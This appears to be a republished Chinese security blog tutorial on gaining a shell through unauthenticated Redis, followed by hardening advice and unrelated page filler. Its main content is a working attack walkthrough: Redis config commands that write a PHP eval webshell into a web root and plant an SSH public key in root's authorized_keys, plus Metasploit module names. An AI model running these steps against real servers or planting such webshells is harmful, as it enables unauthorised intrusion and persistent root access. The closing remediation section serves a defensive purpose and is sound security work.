
Redis GetShell提權(quán)
安全
2021-11-29 14:03
聲明:該文章來(lái)自(千阪'BLOG)版權(quán)由原作者所有,K2OS渲染引擎提供網(wǎng)頁(yè)加速服務(wù)。
環(huán)境準(zhǔn)備
目標(biāo)機(jī)器:129.168.186.4
Kali 開(kāi)啟 SSH
配置 Redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz tar zxvf redis-3.2.11.tar.gz cd redis-3.2.11 cp redis.conf /etc/redis.conf make cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ vim /etc/redis.conf
去掉 ip 綁定,允許除本地外的主機(jī)遠(yuǎn)程登錄 redis 服務(wù) 前面加 #注釋掉
關(guān)閉保護(hù)模式,允許遠(yuǎn)程連接 redis 服務(wù)將 yes 改為 no啟動(dòng)redis
啟動(dòng)服務(wù) redis-server /etc/redis.conf
常用命令
連接 Redis 服務(wù)器
redis-cli -h ipadd
MSF 下利用模塊
auxiliary/scanner/redis/file_upload auxiliary/scanner/redis/redis_login auxiliary/scanner/redis/redis_server
GetShell 原理:攻擊者在未授權(quán)訪問(wèn) Redis 的情況下,利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫(xiě)文件操作,我們可以將 dir 設(shè)置為一個(gè)目錄 a,而 dbfilename 為文件名 b,再執(zhí)行 save 或 bgsave,就可以寫(xiě)入一個(gè)路徑為 a/b 的任意文件。
計(jì)劃任務(wù)反彈 Shell
- 在 Redis 以 root 權(quán)限運(yùn)行時(shí)可以寫(xiě) crontab 來(lái)執(zhí)行命令反彈 shell
默認(rèn)編寫(xiě)的 crontab 文件會(huì)保存在 (/var/spool/cron/ 用戶名 例如: /var/spool/cron/root
crontab -l 列出某個(gè)用戶 cron 服務(wù)的詳細(xì)內(nèi)容
crontab -r 刪除每個(gè)用戶 cront 任務(wù) (謹(jǐn)慎:刪除所有的計(jì)劃任務(wù))
crontab -e 使用編輯器編輯當(dāng)前的 crontab 文件
Web 目錄寫(xiě) Shell
- 當(dāng) redis 權(quán)限不高且服務(wù)器開(kāi)著 web 服務(wù)
- redis 有 web 目錄寫(xiě)權(quán)限
- 可以嘗試往 web 路徑寫(xiě) webshell
redis-cli -h ip ip:6379> config set dir /var/www/html/ OK ip:6379> config set dbfilename shell.php OK ip:6379> set x "<?php @eval($_POST['shell']);?>" OK ip:6379> save OK
寫(xiě) ssh-key 公鑰獲取權(quán)限
- Redis 服務(wù)使用 ROOT 賬號(hào)啟動(dòng)
- 服務(wù)器開(kāi)放了 SSH 服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫(xiě)入一個(gè)公鑰,直接登錄遠(yuǎn)程服務(wù)器。
ssh-keygen -t rsa # 將公鑰寫(xiě)入一個(gè)文件,內(nèi)容前后要加兩個(gè)換行 (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt # 將公鑰放入目標(biāo)服務(wù)器鍵`crackit`里面 cat key.txt | redis-cli -h 172.16.186.4 -x set crackit ip:6379> config set dir /root/.ssh/ OK ip:6379> config get dir 1) "dir" 2) "/root/.ssh" ip:6379> config set dbfilename authorized_keys OK ip.4:6379> save OK # 使用私鑰連接 ? ssh -i id_rsa root@redis-ip
修復(fù)建議
- 禁止 Redis 服務(wù)對(duì)公網(wǎng)開(kāi)放,可通過(guò)修改?
redis.conf
?配置文件中的?#bind 127.0.0.1
?,去掉前面的?#
?即可(Redis 本來(lái)就是作為內(nèi)存數(shù)據(jù)庫(kù),只要監(jiān)聽(tīng)在本機(jī)即可) - **設(shè)置密碼訪問(wèn)認(rèn)證,可通過(guò)修改?
redis.conf
?配置文件中的?requirepass
?設(shè)置復(fù)雜密碼 ** - 重啟 Redis 服務(wù)
- 對(duì)訪問(wèn)源 IP 進(jìn)行訪問(wèn)控制,可在防火墻限定指定源 IP 才可以連接 Redis 服務(wù)器
- 保證 authorized_keys 文件的安全為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。
- 將 authorized_keys 的權(quán)限設(shè)置為對(duì)擁有者只讀,其他用戶沒(méi)有任何權(quán)限
chmod 400 ~/.ssh/authorized_keys
- 為保證 authorized_keys 的權(quán)限不會(huì)被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:
chattr +i ~/.ssh/authorized_keys
然而,用戶還可以重命名~/.ssh,然后新建新的~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置~./ssh 的 immutable 位權(quán)限:
chattr +i ~/.ssh
以低權(quán)限運(yùn)行 Redis 服務(wù)(重啟 redis 才能生效)
為 Redis 服務(wù)創(chuàng)建單獨(dú)的用戶和家目錄,并且配置禁止登陸
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級(jí)服務(wù)市場(chǎng):https://www.ijiandao.com/
排名
熱點(diǎn)
搜索指數(shù)
- 1 習(xí)近平接見(jiàn)新疆各族各界代表 7904716
- 2 樺加沙風(fēng)眼內(nèi)部曝光 拍攝部門:震撼 7809001
- 3 飛機(jī)狂風(fēng)中降落 機(jī)翼險(xiǎn)些砸地 7713906
- 4 援疆的山海深情 跨越千里萬(wàn)里 7615806
- 5 馬克龍被美警察攔下 當(dāng)場(chǎng)打給特朗普 7522324
- 6 臺(tái)風(fēng)“樺加沙”影響有多大?解讀來(lái)了 7426066
- 7 深圳機(jī)場(chǎng)飛機(jī)被“五花大綁”防臺(tái)風(fēng) 7333327
- 8 盒馬最難吃甜品被臺(tái)風(fēng)選出來(lái)了 7237914
- 9 為避臺(tái)風(fēng) 小區(qū)近百輛車停上大橋 7141354
- 10 廣東一地安排農(nóng)民工住進(jìn)學(xué)校避臺(tái)風(fēng) 7048279